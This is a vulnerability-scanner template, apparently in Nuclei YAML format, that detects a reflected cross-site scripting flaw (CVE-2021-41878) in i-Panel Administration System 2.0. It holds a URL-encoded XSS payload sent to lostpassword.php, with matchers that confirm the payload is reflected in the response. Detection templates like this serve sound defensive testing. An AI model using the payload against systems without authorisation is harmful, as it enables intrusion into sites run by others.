id: CVE-2021-41878

info:
  name: i-Panel Administration System 2.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html
    - https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-41878
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41878
    - http://packetstormsecurity.com/files/164519/i-Panel-Administration-System-2.0-Cross-Site-Scripting.html
    - https://github.com/Offensive-Penetration-Security/OPSEC-Hall-of-fame
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41878
    cwe-id: CWE-79
    epss-score: 0.15012
    epss-percentile: 0.9466
    cpe: cpe:2.3:a:hkurl:i-panel_administration_system:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hkurl
    product: i-panel_administration_system
  tags: cve2021,cve,ipanel,xss,packetstorm,hkurl,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><img src=a onerror=alert("document.domain")>'
          - 'i-Panel Administration'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ed9ebf6403bb322a6a16b859c0d9905168e72a3dc8df4a4da69ee2dd8d7e2c13022100b4771959aeb7a8dc06a7bffec6a1ab9648413c9b4078d3c8c502670e84cf2323:922c64590222798bb761d5b6d8e72950